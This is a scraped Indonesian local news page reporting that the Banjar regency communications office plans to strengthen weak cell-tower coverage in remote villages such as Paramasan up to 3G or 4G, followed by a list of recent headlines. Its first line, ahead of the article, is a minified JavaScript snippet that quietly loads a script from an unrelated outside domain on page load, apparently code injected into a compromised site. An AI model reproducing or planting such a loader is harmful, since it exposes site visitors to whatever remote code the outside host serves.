(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Diskominfo Banjar Tingkatkan Jaringan BTS di Area Blank Spot


MARTAPURA, Jaringan Base Transceiver Station (BTS) area Blank Spot yang dipasang Dinas Kominfo Statistik dan Persandian Kabupaten Banjar beberapa waktu lalu masih lemah. Maka itu, Kominfo berencana tingkatkan kapasitas hingga 4G.

Sebelumnya Dinas Kominfo Banjar pada 2018- 2019, telah mendirikan BTS di beberapa wilayah pedalaman Banjar. Seperti di Desa Paramasan bawah dan Paramasan atas, di Kecamatan Paramasan. Namun, lalu lintas komunikasi nirkabel tersebut masih belum lancar.

Menanggapi pembangunan BTS pedalaman hasil kerjasama antara Dinas Komunikasi, Informatik, Statistik dan Persandian (KISP) Banjar dengan Badan Aksesibilitas Komunikasi dan Informatika (BAKTI), Kementerian Kominfo tersebut, Kadis Kominfo M Farid Sofian mengatakan, akan meningkatkan kapasitasnya.

“Kami akan segera menyurati pihak provider BTS tersebut untuk meningkatkan kekuatan sinyal,” bebernya.

Diakui Farid, provider yang menang lelang di BAKTI memang belum memiliki jaringan (BTS) yang luas. Karena itu kekuatan sinyal di pedalaman juga masih lemah. Begitu juga untuk BTS yang dibangun pada pengujung 2018 lalu seperti halnya di Desa Kiram (Kecamatan Karangintan), Rantaubalai (Aranio).

Lebih jauh Farid menjelaskan pada tahap awal, layanan yang diberikan masih sebatas untuk keperluan menelepon dan mengirim SMS. Namun selanjutnya kelak jika pengguna semakin banyak layanan akan ditingkatkan seperti untuk internet.

Apalagi untuk wilayah Paramasan bertopografi tinggi. Sejumlah permukiman (dusun) yang letaknya terpencar-pencar dipisahkan oleh pegunungan sehingga makin sulit dijamah jaringan telepon nirkabel. “Kami minta sekaligus dilakukan perluasan layanan agar tak cuma sekadar teleponan dan SMS-an. Tapi, agar bisa untuk internetan sehingga jaringannya harus 3G atau 4G,” jelas Farid.

Dikatakannya di tengah kemajuan teknologi informasi saat ini, kecepatan informasi memang sangat berpengaruh terhadap kelancaran aktivitas maupun usaha masyarakat. Termasuk bagi warga yang bermukim di wilayah pelosok.(Rendy)

Reporter:Rendy
Editor:Chell

Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

2 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

3 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

5 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

6 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

7 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

7 jam ago

This website uses cookies.